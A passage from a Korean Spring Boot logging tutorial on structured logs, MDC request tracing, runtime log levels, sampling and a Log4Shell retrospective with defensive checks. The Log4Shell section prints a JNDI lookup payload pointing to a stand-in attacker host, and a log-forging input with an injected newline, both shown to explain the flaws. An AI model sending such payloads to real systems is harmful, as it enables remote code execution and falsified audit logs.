필드 폭발(mapping explosion) — Elasticsearch 는 새 필드마다 매핑을 만듭니다. 동적으로 만들어지는 키(예: kv(orderId, ...) 를 키 이름에 넣기)를 찍으면 인덱스가 수천 개 필드로 부풀어 클러스터가 죽습니다. 키 이름은 코드에 상수로 고정하세요 — 값만 변해야 합니다.

텍스트와 JSON 을 함께 쓰기

<!-- 개발자는 콘솔에서 사람이 읽는 형태로,
     수집기는 파일에서 JSON 으로 — 둘 다 켜 둡니다 -->
<springProfile name="local">
  <root level="DEBUG"><appender-ref ref="CONSOLE"/></root>
</springProfile>

<springProfile name="prod">
  <root level="INFO">
    <appender-ref ref="JSON"/>      <!-- 파일: 기계용 -->
    <appender-ref ref="CONSOLE"/>   <!-- 표준출력: 컨테이너 로그 -->
  </root>
</springProfile>
# 컨테이너라면 파일 대신 표준출력이 정답입니다
#   앱 → stdout(JSON) → 컨테이너 런타임 → 수집기
#   파일 롤링·디스크 관리를 앱이 안 해도 됩니다 ★

# 로컬에서 JSON 로그를 사람이 읽기
tail -f logs/app.json.log | jq -r \
  '"\(.["@timestamp"]) \(.["log.level"]) \(.message) trace=\(.["trace.id"] // "-")"'

# 특정 요청만 따라가기
grep '"trace.id":"3f9a1c0b7e2d4a55"' logs/app.json.log | jq .
둘 다 켜면 비용이 두 배 아닌가 — 맞습니다. 그래서 보통은 운영에서 콘솔은 WARN 이상, 파일 JSON 은 INFO 이상처럼 레벨을 다르게 둡니다. 컨테이너 환경이면 JSON 을 표준출력 하나로만 내보내는 쪽이 더 단순합니다.
LOG 08

MDC — 요청 ID 를 로그마다 자동으로

장애 분석의 첫 단계는 언제나 같습니다 — "그 요청이 남긴 줄만 모아 보기". 매번 traceId 를 인자로 넘길 수는 없으니, 스레드에 붙여 두고 패턴이 알아서 찍게 합니다. 그게 MDC 이고, 스레드가 바뀌는 순간 새 나갑니다.

MDC 는 스레드에 붙습니다 — 줄을 넘어가는 순간 사라집니다 요청 스레드 @Async 워커 가상 스레드 MDC.put(traceId) log.info — traceId 붙음 MDC.clear() — finally 에서 MDC 비어 있음 — traceId 없음 TaskDecorator 로 복사 가상 스레드마다 ThreadLocal 사본 수십만 개면 메모리 부담 — ScopedValue 검토 줄을 넘는 세로 화살표가 곧 MDC 가 끊기는 지점입니다 — 여기만 막으면 됩니다 스레드풀은 스레드를 재사용합니다 — 지우지 않으면 남의 traceId 가 붙습니다
스윔레인 — 레인을 넘는 화살표가 문제의 전부입니다. 넘길 때 복사하고, 끝나면 지웁니다.

필터에서 심고 finally 에서 지우기

@Component
@Order(Ordered.HIGHEST_PRECEDENCE)          // 가장 먼저 타야 합니다
public class MdcFilter extends OncePerRequestFilter {

    private static final String TRACE_ID = "traceId";

    @Override
    protected void doFilterInternal(HttpServletRequest req,
                                    HttpServletResponse res,
                                    FilterChain chain) throws IOException, ServletException {
        String traceId = req.getHeader("X-Request-Id");
        if (traceId == null || traceId.isBlank()) {
            traceId = UUID.randomUUID().toString().replace("-", "").substring(0, 16);
        }
        MDC.put(TRACE_ID, traceId);
        MDC.put("path", req.getRequestURI());
        res.setHeader("X-Request-Id", traceId);   // 클라이언트도 알 수 있게 ★
        try {
            chain.doFilter(req, res);
        } finally {
            MDC.clear();                          // ★ 반드시 finally
        }
    }
}

// 부분만 잠깐 넣고 자동으로 빼기 — try-with-resources
try (MDC.MDCCloseable ignored = MDC.putCloseable("orderId", id.toString())) {
    log.info("order.pay.start");
    payment.pay(id);
    log.info("order.pay.done");
}   // 블록을 나가면 orderId 가 자동으로 제거됩니다
finally 를 빼먹으면 생기는 일 — 톰캣 스레드는 재사용됩니다. A 요청이 넣은 traceId 가 남아 있는 스레드로 B 요청이 들어오면 B 의 로그에 A 의 traceId 가 찍힙니다. 장애 분석 때 있지도 않은 연결을 보게 되니, 아예 없는 것보다 나쁩니다.

패턴에 꽂고 JSON 필드로 내보내기

<!-- 텍스트 패턴 — 값이 없으면 빈칸(:-) -->
<pattern>%d{HH:mm:ss.SSS} [%thread] %-5level %logger{20} [%X{traceId:-}] - %msg%n</pattern>

<!-- MDC 전체를 한 번에 -->
<pattern>... %mdc - %msg%n</pattern>

<!-- JSON 인코더에서는 필드로 자동 승격 -->
<encoder class="net.logstash.logback.encoder.LogstashEncoder">
  <includeMdc>true</includeMdc>
  <includeMdcKeyName>traceId</includeMdcKeyName>
  <includeMdcKeyName>userId</includeMdcKeyName>
</encoder>
출력 예 — 같은 요청의 줄만 모으기가 쉬워집니다

10:22:41.108 [exec-3] INFO  c.m.o.OrderService [3f9a1c0b] - order.pay.start
10:22:41.191 [exec-3] INFO  c.m.p.PgClient     [3f9a1c0b] - pg.request status=200
10:22:41.204 [exec-3] ERROR c.m.o.OrderService [3f9a1c0b] - order.pay.fail

  $ grep 3f9a1c0b app.log        # 텍스트라면 이걸로 끝
  trace.id:"3f9a1c0b"           # Kibana/Loki 라면 필드 검색
이미 추적 시스템이 있다면 직접 만들지 마세요 — Micrometer Tracing(Spring Boot 3.x) 을 넣으면 traceId · spanId 를 MDC 에 자동으로 넣어 줍니다. 서비스 사이를 넘어가는 전파(W3C traceparent 헤더)까지 처리됩니다. 직접 만든 X-Request-Id 는 단일 서비스일 때의 최소 구성입니다.

실무에선 이렇게 — 스레드가 바뀌는 세 자리 🔴 실무

① 스레드풀 · @Async

// 문제 — 워커 스레드에는 MDC 가 없습니다
@Async
public void sendMail(Long orderId) {
    log.info("mail.send orderId={}", orderId);   // traceId 가 빈칸 ★
}

// 해결 — 제출하는 순간의 MDC 를 복사해 주는 TaskDecorator
public class MdcTaskDecorator implements TaskDecorator {
    @Override
    public Runnable decorate(Runnable runnable) {
        Map<String, String> context = MDC.getCopyOfContextMap();   // 제출 스레드에서
        return () -> {
            Map<String, String> previous = MDC.getCopyOfContextMap();
            if (context != null) MDC.setContextMap(context);        // 실행 스레드에서
            try {
                runnable.run();
            } finally {
                if (previous != null) MDC.setContextMap(previous);
                else MDC.clear();                                   // ★ 되돌리기
            }
        };
    }
}

@Configuration
@EnableAsync
public class AsyncConfig {
    @Bean("appExecutor")
    public Executor executor() {
        ThreadPoolTaskExecutor ex = new ThreadPoolTaskExecutor();
        ex.setCorePoolSize(8);
        ex.setMaxPoolSize(32);
        ex.setQueueCapacity(1000);
        ex.setThreadNamePrefix("app-");
        ex.setTaskDecorator(new MdcTaskDecorator());   // ★ 이 한 줄
        ex.initialize();
        return ex;
    }
}
CompletableFuture.supplyAsync(...) 도 같은 문제입니다 — 기본 ForkJoinPool 을 쓰면 MDC 가 비어 있습니다. executor 를 명시해서 위 decorator 가 붙은 풀을 넘기세요. @Scheduled · 메시지 리스너도 전부 같은 이야기입니다 (거기서는 새 traceId 를 발급하는 편이 맞습니다).

② 리액티브 · ③ 가상 스레드

// ② WebFlux / Reactor — MDC(ThreadLocal)는 아예 안 맞습니다
//    한 요청이 여러 스레드를 옮겨 다니기 때문입니다.
//    Reactor Context 에 담고, 로깅 시점에 MDC 로 옮깁니다.

Mono.deferContextual(ctx -> {
    String traceId = ctx.get("traceId");
    try (MDC.MDCCloseable c = MDC.putCloseable("traceId", traceId)) {
        log.info("order.start");
        return orderService.create(cmd);
    }
}).contextWrite(Context.of("traceId", newTraceId()));

// 더 나은 방법 — micrometer-context-propagation 을 넣고
//   Hooks.enableAutomaticContextPropagation();
// 을 켜면 Reactor 가 스레드 전환마다 ThreadLocal 을 복원해 줍니다.
// ③ 가상 스레드 (Java 21+ / 25 LTS)
//    MDC 는 ThreadLocal 기반이고 가상 스레드도 ThreadLocal 을 지원하므로
//    '동작은 합니다'. 재사용이 없으니 오히려 오염 위험도 없습니다.
//    문제는 개수입니다 — 가상 스레드 수십만 개 × MDC 맵 사본.

// Java 25 에서 정식이 된 ScopedValue — 값이 스코프에 묶입니다
private static final ScopedValue<String> TRACE_ID = ScopedValue.newInstance();

ScopedValue.where(TRACE_ID, traceId).run(() -> {
    handle(request);          // 이 안에서는 어디서든 TRACE_ID.get()
});                           // 스코프를 나가면 자동으로 사라집니다 ★

// 다만 로깅 라이브러리의 %X{} 는 아직 MDC 를 봅니다.
// 당장은 MDC 를 쓰고, ScopedValue 는 지원이 붙는 대로 옮기는 것이 현실적입니다.
정리하면 — 서블릿 + 스레드풀이면 필터 + TaskDecorator 로 충분하고, WebFlux 면 Reactor Context + 자동 전파를 켜고, 가상 스레드면 지금은 MDC 그대로 쓰되 스레드 수가 극단적으로 많은 구간만 ScopedValue 를 검토하세요.
LOG 09

Spring Boot 로깅 — 재시작 없이 레벨 바꾸기

운영 중에 "이 부분만 DEBUG 로 보고 싶다"가 생깁니다. 배포하고 재시작하면 그 사이 증상이 사라집니다. Actuator 의 loggers 엔드포인트는 이 문제를 한 번의 POST 로 끝냅니다.

세로가 시간 — 재시작 없이 레벨이 바뀌는 경로 운영자 · curl /actuator/loggers LoggingSystem Logback Context 1. GET /actuator/loggers/com.myapp 2. effectiveLevel = INFO 3. POST configuredLevel=DEBUG 4. LoggingSystem.setLogLevel() 5. 로거 캐시 갱신 — 재시작 없음 6. 204 No Content — 즉시 반영 레벨은 재시작 없이 바뀝니다 — 대신 재시작하면 원래 설정으로 돌아갑니다 운영에서 DEBUG 를 켤 때는 되돌릴 시각을 먼저 정해 놓으세요
시퀀스 — 왕복 두 번이면 끝납니다. 배포 없이 관측 수준을 바꾸는 가장 싼 도구입니다.

Actuator loggers 엔드포인트

management:
  endpoints:
    web:
      exposure:
        include: health,info,loggers,metrics   # loggers 를 열어야 합니다
  endpoint:
    loggers:
      access: unrestricted                     # 읽기+쓰기 허용
# 지금 상태 보기
curl -s localhost:8080/actuator/loggers/com.myapp | jq
# {"configuredLevel":null,"effectiveLevel":"INFO"}
#   configuredLevel = 직접 지정한 값 (없으면 null)
#   effectiveLevel  = 상속까지 계산한 실제 값 ★

# DEBUG 로 올리기
curl -s -X POST localhost:8080/actuator/loggers/com.myapp \
     -H "Content-Type: application/json" \
     -d '{"configuredLevel":"DEBUG"}'

# 특정 클래스만 (더 좁게)
curl -s -X POST localhost:8080/actuator/loggers/com.myapp.order.OrderService \
     -H "Content-Type: application/json" -d '{"configuredLevel":"TRACE"}'

# 되돌리기 — null 을 보내면 상속 상태로 복귀
curl -s -X POST localhost:8080/actuator/loggers/com.myapp \
     -H "Content-Type: application/json" -d '{"configuredLevel":null}'

# 전체 로거 목록에서 지금 DEBUG 인 것만 뽑기
curl -s localhost:8080/actuator/loggers \
  | jq -r '.loggers | to_entries[] | select(.value.effectiveLevel=="DEBUG") | .key'
이 엔드포인트는 반드시 잠가야 합니다 — 레벨을 바꿀 수 있다는 것은 디스크를 채우고 서비스를 느리게 만들 수 있다는 뜻입니다. 관리 포트를 따로 열고(management.server.port), 사내망에서만 접근하게 하거나 인증을 붙이세요. 인터넷에 열린 /actuator/loggers 는 그 자체로 사고입니다.

부트가 이미 해 주는 것들

logging:
  level:
    root: INFO
    com.myapp: DEBUG
    # 부트가 만들어 둔 '그룹' — 이름 하나로 여러 로거를 한 번에
    web: DEBUG      # spring web · http codec 등
    sql: DEBUG      # JDBC · Hibernate SQL 등

  group:            # 내 그룹도 만들 수 있습니다 ★
    payment: com.myapp.payment,com.myapp.pg,org.apache.http

# 이제 이렇게 한 줄로
# logging.level.payment=DEBUG
# 환경변수로도 됩니다 — 컨테이너에서 유용
LOGGING_LEVEL_COM_MYAPP=DEBUG java -jar app.jar

# 커맨드라인 인자
java -jar app.jar --logging.level.com.myapp=DEBUG

# 기동 진단용 스위치
java -jar app.jar --debug   # 자동 설정 리포트 + 선택된 로거 DEBUG
java -jar app.jar --trace   # 더 시끄럽게

# 컬러 출력 강제(파이프로 넘길 때 색이 사라지는 문제)
java -Dspring.output.ansi.enabled=ALWAYS -jar app.jar
설정뜻
logging.level.*로거별 레벨
logging.group.*로거 묶음 이름
logging.file.name파일 경로+이름
logging.pattern.*콘솔·파일 패턴
logging.charset.file파일 인코딩
logging.threshold.*appender 하한
logging.structured.format.*JSON 출력 (3.4+)

이렇게도 쓸 수 있다 — 기동 로그를 조용히 🟡 중급

시끄러운 로거 길들이기

logging:
  level:
    root: INFO
    # 기동할 때만 시끄러운 것들
    org.springframework.boot.autoconfigure: WARN
    org.apache.catalina: WARN
    org.hibernate.orm.deprecation: ERROR
    # 운영에서 절대 DEBUG 로 두면 안 되는 것들 ★
    org.apache.http.wire: WARN        # HTTP 본문을 통째로 찍습니다
    org.springframework.web.client.RestTemplate: WARN
    io.netty: WARN
    org.hibernate.type.descriptor.jdbc.BasicBinder: WARN   # 바인딩 값 전부
운영에서 DEBUG 로 켜면 안 되는 것 — org.apache.http.wire 는 요청·응답 본문 전체를 찍습니다. 여기에 카드번호·주민번호·토큰이 그대로 남습니다. “잠깐만 켜자”가 개인정보 유출 사고가 되는 대표 경로입니다.

기동 실패 로그를 놓치지 않기

문제 — 로깅 설정이 적용되기 '전'에 난 오류는 파일에 안 남습니다.

  1. JVM 시작
  2. Spring 이 application.yml 을 읽음
  3. LoggingSystem 초기화 ← 여기부터 파일 appender 가 삽니다
  4. 빈 생성 ...

  2~3 사이에서 죽으면 표준출력에만 남습니다.

대책
  · 컨테이너면 stdout 을 수집하므로 자동으로 해결됩니다 ★
  · 아니라면 기동 스크립트에서 리다이렉트를 겁니다
      java -jar app.jar > logs/stdout.log 2>&1
  · 셧다운 로그도 마찬가지 — 종료 훅이 돌기 전에 죽으면 큐가 날아갑니다
      <configuration> 에 <shutdownHook class="ch.qos.logback.core.hook.DefaultShutdownHook"/>
# 컨테이너에서 권장하는 모양 — 파일을 아예 만들지 않습니다
#   logging.file.name 을 지정하지 않고
#   logging.structured.format.console=ecs 로 JSON 을 stdout 에
#   → 롤링·디스크 관리·권한 문제가 전부 사라집니다

kubectl logs -f deploy/order-api | jq -r '.message'
LOG 10

성능과 비용 — 얼마나 찍을지를 설계합니다

로그를 많이 찍으면 진단은 쉬워지고 지연·비용은 나빠집니다. 반대도 마찬가지입니다. 정답이 하나가 아니라 상충이므로, "어디에 놓을지"를 의식적으로 정해야 합니다.

로그 양의 상충 — 초록이 좋음, 붉은색이 나쁨, 회색이 중립입니다 진단 능력 p99 지연 저장 비용 노이즈 전부 DEBUG (운영) 매우 좋음 매우 나쁨 매우 나쁨 매우 나쁨 INFO + 요청 1건 요약 좋음 좋음 좋음 좋음 WARN 이상만 매우 나쁨 매우 좋음 매우 좋음 매우 좋음 DEBUG 1% 샘플링 좋음 매우 좋음 매우 좋음 보통 동기 파일 + fsync 매번 보통 매우 나쁨 나쁨 보통 나쁨 좋음 가운데는 반드시 무채색입니다 — "좋지도 나쁘지도 않다"가 눈에 보여야 합니다 둘째 줄이 대부분의 서비스가 있어야 할 자리입니다 — 나머지는 상황이 만드는 예외
발산 램프 — 한쪽만 진한 행은 어딘가를 크게 희생하고 있다는 뜻입니다.

먼저 재세요 — 볼륨 계산

# ① 지금 초당 몇 줄을 찍고 있나
wc -l logs/app.log
# 한 시간 치라면 / 3600

# ② 한 줄 평균 바이트
ls -l logs/app.log            # 크기 ÷ 줄 수

# ③ 하루 용량 = 초당 줄 수 × 평균 바이트 × 86400
#    예) 2,000줄/s × 300B × 86400 ≈ 51.8 GB/일 (압축 전)
#    30일 보관이면 압축해도 수백 GB — 여기서 비용이 결정됩니다

# ④ 어떤 로거가 대부분을 차지하는지
#    LOG 05 패턴이면 날짜·시각·[스레드]·레벨 다음 다섯째 칸이 로거입니다
awk '{print $5}' logs/app.log | sort | uniq -c | sort -rn | head -20
#   대개 상위 3개 로거가 전체의 80% 를 차지합니다 ★

# ⑤ 같은 문구가 반복되는지 (묶어서 줄일 후보)
sed -E 's/[0-9]+/N/g' logs/app.log | sort | uniq -c | sort -rn | head
줄이는 순서 — ① 상위 3개 로거의 레벨을 올린다 → ② 루프 안 로그를 요약 한 줄로 바꾼다 → ③ 정상 흐름의 DEBUG 를 샘플링한다 → ④ 그래도 남으면 비동기. ①·② 만으로 절반 이하로 떨어지는 경우가 흔합니다.

샘플링 — 다 찍지 않고 살리기

// ① 요청 단위 샘플링 — 뽑힌 요청만 통째로 DEBUG (가장 유용) ★
public class SamplingFilter extends OncePerRequestFilter {
    private static final double RATE = 0.01;   // 1%
    protected void doFilterInternal(...) {
        boolean sampled = ThreadLocalRandom.current().nextDouble() < RATE;
        MDC.put("sampled", String.valueOf(sampled));
        try { chain.doFilter(req, res); } finally { MDC.remove("sampled"); }   // 남의 키(traceId)까지 지우지 않게
    }
}
<!-- MDC 값(sampled=true)으로 뽑힌 요청만 레벨 검사를 건너뛰게 합니다
     터보 필터는 로거 레벨 검사보다 먼저 돌아서, 로거가 INFO 여도 DEBUG 가 통과합니다 -->
<turboFilter class="ch.qos.logback.classic.turbo.MDCFilter">
  <MDCKey>sampled</MDCKey>
  <Value>true</Value>
  <OnMatch>ACCEPT</OnMatch>        <!-- 뽑힌 요청: 모든 레벨 통과 -->
  <OnMismatch>NEUTRAL</OnMismatch>  <!-- 나머지: 평소 레벨대로 -->
</turboFilter>

<!-- 같은 문구가 쏟아질 때 반복 횟수를 제한 — 시간 창이 아니라 캐시에서 밀려날 때까지 막힙니다
     ⚠️ 인자를 넣기 전의 "틀"로 비교하므로 log.info("order={}", id) 도 5번 뒤부터 버려집니다.
        문구가 고정된 시끄러운 로그에만 쓰세요 -->
<turboFilter class="ch.qos.logback.classic.turbo.DuplicateMessageFilter">
  <allowedRepetitions>5</allowedRepetitions>
  <cacheSize>200</cacheSize>
</turboFilter>
샘플링에서 절대 빼면 안 되는 것 — ERROR · WARN 은 100% 남깁니다. 샘플링은 정상 흐름의 상세에만 겁니다. 그리고 같은 요청은 전부 찍히거나 전부 안 찍혀야 합니다 — 줄 단위로 무작위 추출하면 이어지지 않는 조각만 남아 쓸모가 없습니다.

실무에선 이렇게 — 레벨 설계 한 장 🔴 실무

레벨 배치표

레벨운영거기 넣을 것
ERROR켬사람이 개입해야 하는 실패
WARN켬재시도 성공 · 폴백 · 임계치 근접
INFO켬요청/작업 1건당 1~3줄 요약
DEBUG끔분기·중간값 (샘플링 대상)
TRACE끔루프 안 · 프로토콜 덤프
// 요청 1건 = INFO 한 줄로 요약하는 패턴 (권장) ★
long t0 = System.nanoTime();
try {
    Result r = service.handle(cmd);
    log.info("order.create result=ok orderId={} items={} ms={}",
             r.id(), r.itemCount(), ms(t0));
    return r;
} catch (BusinessException e) {
    log.warn("order.create result=rejected reason={} ms={}", e.code(), ms(t0));
    throw e;
} catch (Exception e) {
    log.error("order.create result=error ms={}", ms(t0), e);
    throw e;
}
// 이 한 줄만으로 성공률 · 지연 분포 · 실패 사유 분포가 전부 나옵니다.
지표(metrics)와 역할을 나누세요 — "얼마나 자주·얼마나 느린가"는 메트릭(Micrometer)이 훨씬 싸게 답합니다. 로그는 "그 한 건에 무슨 일이 있었나"를 위해 남기세요. 로그로 집계하려 들면 비용이 수십 배가 됩니다.

로깅이 지연·GC 에 미치는 영향

비용이 생기는 자리 (비싼 순서)

 ① 위치 정보 (%L %M %C · includeCallerData)
    → 호출마다 스택을 만들어 훑습니다. 10배 이상 느려집니다. ★
 ② 동기 파일 쓰기 + 디스크 지연
    → p99 가 디스크 지연에 그대로 물립니다.
 ③ 문자열 조립 · 오토박싱 (GC 압력)
    → Young GC 빈도 증가 → p99 에 멈춤이 섞임
 ④ 예외 스택트레이스 생성
    → 깊은 스택 한 번이 수만 줄의 일반 로그보다 비쌉니다
 ⑤ 콘솔 출력 (터미널·컨테이너 파이프)
    → 의외로 느립니다. 운영에서 콘솔은 최소한으로.

거의 안 비싼 것
 · 꺼진 레벨의 log.debug("...{}", x)   → 레벨 검사 한 번
 · MDC.put / get                        → ThreadLocal 맵 접근
# 로깅이 원인인지 30분 안에 판별하는 절차
# 1) 레벨을 WARN 으로 내린다 → p99 를 비교
# 2) 비동기로 바꾼다        → p99 를 비교
# 3) 둘 다 안 변하면 로깅이 아닙니다 (다른 데를 보세요)

# GC 압력 확인
java -Xlog:gc*:file=gc.log:time,uptime -jar app.jar
# alloc rate 가 레벨을 내렸을 때 눈에 띄게 떨어지면 로깅이 원인입니다
①번은 정말 자주 봅니다 — 패턴에 %L(줄 번호)을 넣어 두면 로그 한 줄마다 스택 트레이스를 만듭니다. “줄 번호가 있으면 편하니까”로 넣었다가 TPS 가 절반이 된 사례가 흔합니다. 로거 이름(%logger)과 이벤트 이름이면 위치는 충분히 좁혀집니다.
LOG 11

Log4Shell 의 교훈 — 로거가 공격 통로가 되던 날

2021년 12월, 로그 한 줄이 원격 코드 실행이 됐습니다. 원인은 어려운 버그가 아니라 "로그 메시지를 데이터가 아니라 명령으로 해석했다"는 설계였습니다. 이 절은 그때 무슨 일이 있었는지보다 지금 내 프로젝트에서 무엇을 확인해야 하는지에 초점을 둡니다.

Log4Shell 해부 — 로그 한 줄이 원격 코드 실행이 되기까지 GET /api/orders HTTP/1.1 User-Agent: ${jndi:ldap://evil.example.net/a} log.info("ua={}", request.getHeader("User-Agent")); Log4j2 가 메시지 안의 ${...} 를 발견 → Lookup 실행 JNDI → LDAP 접속 → 참조 수신 → 클래스 로드 → 실행 공격자가 넣은 입력 헤더 · 폼 · 쿼리 여기가 버그 — 데이터를 명령으로 결과 — RCE 원격 코드 실행 Lookup 문법 — 원래는 설정 파일용 고친 뒤 — 2.16 부터 메시지 안의 Lookup 자체가 사라졌고 JNDI 는 기본 꺼짐입니다 로그 메시지는 데이터입니다 — 데이터를 해석하는 기능이 로거 안에 있었던 것이 뿌리 Logback 은 메시지에 Lookup 이 없어 이 취약점이 없습니다 — 구조가 곧 보안입니다
해부도 — 노란 칸이 공격자가 쓴 전부입니다. 나머지는 로거가 알아서 해 줬습니다.

무슨 일이었나 — 5분 요약

항목내용
식별자CVE-2021-44228 · CVSS 10.0 (최고 등급)
영향 범위log4j-core 2.0-beta9 ~ 2.14.1
조건공격자가 넣은 문자열이 로그 메시지에 들어가기만 하면
2.15.0JNDI 를 localhost 로 제한 — 불완전
2.16.0메시지 Lookup 제거 · JNDI 기본 꺼짐
2.17.0 · 2.17.1재귀 DoS · JDBC appender 구멍까지 마감
Java 8 이하2.12.4 (Java 7) · 2.3.2 (Java 6) 별도 패치
Logback해당 없음 — 메시지에 Lookup 이 없음
Log4j 1.xJMSAppender 를 설정했을 때만 (CVE-2021-4104)
Spring Boot 기본 구성은 안전했습니다 — spring-boot-starter-logging 에는 log4j-api 와 log4j-to-slf4j 만 있고 log4j-core 가 없습니다. 취약한 건 core 뿐입니다. 그런데 다른 라이브러리가 core 를 끌고 오는 경우가 문제였습니다 — 그래서 "우리는 Logback 쓰니까 괜찮아"가 틀린 팀이 많았습니다.

지금 내 프로젝트부터 — 10분 점검

# ① core 가 어디서든 들어와 있는지 (Gradle)
./gradlew dependencyInsight --dependency log4j-core --configuration runtimeClasspath
#   "No dependencies matching" 이면 없는 것 — 끝
#   나오면 '누가 끌고 왔는지' 경로가 같이 찍힙니다 ★

# ② Maven
mvn dependency:tree -Dincludes=org.apache.logging.log4j:log4j-core

# ③ 빌드된 산출물(fat jar · 도커 이미지)에서 직접 확인 — 가장 확실
unzip -l build/libs/app.jar | grep -i "log4j-core"
#   중첩 jar(BOOT-INF/lib) 안까지 봐야 합니다

# ④ 취약한 클래스가 실제로 있는지 (버전 표기를 못 믿을 때)
unzip -l log4j-core-2.14.1.jar | grep JndiLookup
#   org/apache/logging/log4j/core/lookup/JndiLookup.class  ← 있으면 취약

# ⑤ 운영 중인 JVM 에서 (재시작 없이)
jcmd <pid> VM.class_hierarchy | grep -i JndiLookup
// build.gradle.kts — 전이 의존성으로 들어온 core 의 버전을 강제로 올리기
dependencies {
    constraints {
        implementation("org.apache.logging.log4j:log4j-core:2.25.1") {
            because("CVE-2021-44228 — 2.17.1 미만 금지. 최신은 mvnrepository 확인")
        }
    }
}

// Spring Boot 프로젝트면 부트가 버전을 관리하므로 이 한 줄이 더 간단합니다
ext["log4j2.version"] = "2.25.1"
버전 강제는 임시 조치입니다 — 다음에 그 라이브러리를 올리면 또 낡은 core 가 딸려 올 수 있습니다. 정답은 ①에서 나온 "누가 끌고 왔나"를 찾아 그 라이브러리를 올리거나 exclude 하는 것입니다(LOG 04).

실무에선 이렇게 — 다음 Log4Shell 을 대비하는 구조 🔴 실무

한 바퀴가 자동이면 다음 CVE 는 뉴스가 아니라 알림으로 옵니다 목록 (SBOM) 무엇이 들어 있나 스캔 CVE DB 대조 패치 강제 버전 올림 검증 재스캔 · 기동 확인 매 빌드마다 한 바퀴 자동 Log4Shell 때 가장 빨랐던 팀은 SBOM 이 이미 있던 팀입니다 — 찾는 데 0분
순환 — 목록이 먼저입니다. 무엇이 들어 있는지 모르면 스캔도 패치도 시작할 수 없습니다.

빌드에 스캔을 붙이기

// build.gradle.kts — ① SBOM 생성 (CycloneDX)
plugins {
    id("org.cyclonedx.bom") version "2.3.1"          // 최신은 플러그인 포털 확인
    id("org.owasp.dependencycheck") version "12.1.3"  // ② CVE 대조
}

dependencyCheck {
    failBuildOnCVSS = 7.0f          // 심각도 7 이상이면 빌드 실패 ★
    suppressionFile = "config/dependency-check-suppress.xml"
}
// ./gradlew cyclonedxBom dependencyCheckAnalyze
# .github/dependabot.yml — ③ 새 버전이 나오면 PR 이 자동으로 옵니다
version: 2
updates:
  - package-ecosystem: "gradle"
    directory: "/"
    schedule:
      interval: "weekly"
    groups:
      logging:                       # 로깅 관련은 한 PR 로 묶기
        patterns: ["org.apache.logging.log4j:*", "ch.qos.logback:*", "org.slf4j:*"]
# ④ 도커 이미지째로 스캔 — 실제로 배포되는 것을 보는 가장 정직한 방법
trivy image --severity HIGH,CRITICAL myregistry/order-api:1.4.2
# 또는 파일 시스템
trivy fs --scanners vuln .
넷 중 하나만 고른다면 ④ — 빌드 스크립트가 아니라 배포되는 산출물을 보기 때문입니다. 베이스 이미지에 깔린 JDK · OS 패키지의 구멍까지 같이 잡힙니다. 스캔 결과의 거짓 양성은 suppression 파일로 사유를 적어 두고 넘깁니다 — 조용히 끄지 마세요.

로그 자체를 공격면으로 보기

// ① 로그 위조(log forging) — 줄바꿈으로 가짜 줄을 끼워 넣습니다
String user = req.getParameter("user");
// user = "alice\n2026-09-01 10:22:41 INFO  login ok user=admin"
log.info("login fail user={}", user);
//   → 두 번째 줄이 '진짜 로그'처럼 보입니다 ★

// 해결 A — 텍스트 패턴에서 개행을 지우기 (Logback)
//   %replace(%msg){'[\r\n]+', ' '}
// 해결 B — Log4j2 는 인코더 변환이 있습니다
//   %enc{%m}{CRLF}
// 해결 C — JSON 인코더를 쓰면 문자열이 이스케이프되어 자동으로 막힙니다 ★

// ② 외부 입력을 '메시지'가 아니라 '인자'로만 넘기기
log.info(userInput);                 // ❌ 메시지 자리에 입력 — 절대 금지
log.info("input={}", userInput);     // ✅ 인자 자리 — 포맷 해석 대상이 아님

// ③ 크기 제한 — 10MB 짜리 헤더를 그대로 찍으면 그게 DoS 입니다
log.info("ua={}", abbreviate(ua, 200));
교훈구체적으로
메시지는 데이터입력은 인자 자리에만 · JSON 인코더
전이 의존성을 안다SBOM · dependencyInsight
산출물을 스캔이미지 스캔이 빌드 스캔보다 정직
패치 경로를 미리constraints 한 줄로 올릴 수 있게
로거도 아웃바운드앱 서버의 바깥 방향 네트워크 차단
마지막 줄이 실제로 피해를 갈랐습니다 — Log4Shell 은 로거가 바깥 LDAP 서버로 접속해야 성립합니다. 앱 서버의 아웃바운드를 화이트리스트로 막아 둔 팀은 취약한 버전을 쓰고도 뚫리지 않았습니다. 로거는 네트워크를 쓰지 않는다는 가정을 버리세요 — 소켓 appender · 수집기 전송 전부 아웃바운드입니다.
왜 이런 기능이 있었나 — ${env:HOSTNAME} · ${sys:user.dir} 같은 Lookup 은 설정 파일(log4j2.xml)에서 경로나 호스트명을 끼워 넣으려고 만든 것입니다. 문제는 그 해석이 메시지 문자열에도 적용됐다는 점, 그리고 JNDI 라는 "이름으로 아무 객체나 가져오는" 표준 API 가 Lookup 목록에 있었다는 점입니다. 둘 다 각각은 합리적이었고, 합쳐지자 폭발했습니다. 보안 사고는 대개 이렇게 정상 기능 두 개의 교차점에서 납니다.
LOG 12

예외 로깅 — 한 곳에서 한 번, 스택은 필요한 만큼만

예외 로그는 장애 분석의 주식인데, 실무 로그를 열어 보면 같은 스택이 세 번 찍혀 있거나 메시지만 있고 스택이 없거나, 스택이 200줄이라 정작 원인 줄을 못 찾습니다. 규칙은 셋입니다 — 어디서 잡나 · 무엇을 남기나 · 얼마나 남기나.

예외는 한 곳까지 올려 보내고, 거기서 종류별로 다르게 남깁니다 @RestControllerAdvice 한 곳 클라이언트 잘못 400 · 404 · 422 규칙 위반 잔액 부족 · 중복 주문 우리 잘못 (5xx) NPE · DB 장애 · 타임아웃 예상 못 한 것 그 밖의 모든 예외 WARN · 스택 없음 한 줄 · 알림 없음 INFO · 코드만 지표로 세는 대상 ERROR · 스택 전체 traceId · 알림 ERROR · 스택 전체 알림 · 새 분기 후보 레이어마다 잡아서 찍으면 같은 스택이 세 번 남습니다 — 잡는 곳은 한 곳, 찍는 것도 한 번 4xx 에 스택을 붙이면 ERROR 알림이 남의 실수로 가득 찹니다 — 진짜 장애가 묻힙니다
트리 — 붉은 칸만 ERROR입니다. 나머지 셋을 ERROR 로 찍는 순간 알림 채널이 죽습니다.

기본기 — 스택이 사라지는 다섯 가지 방법

// ✅ 유일한 정답 — 예외를 '마지막 인자'로
log.error("order.pay.fail orderId={}", orderId, e);

// ❌ ① 메시지만 — 어디서 났는지 영원히 모릅니다
log.error("결제 실패: " + e.getMessage());

// ❌ ② toString — 첫 줄만 남고 스택은 없음
log.error("결제 실패 {}", e.toString());

// ❌ ③ printStackTrace — 로거를 안 거쳐 파일·수집기에 안 남음
e.printStackTrace();

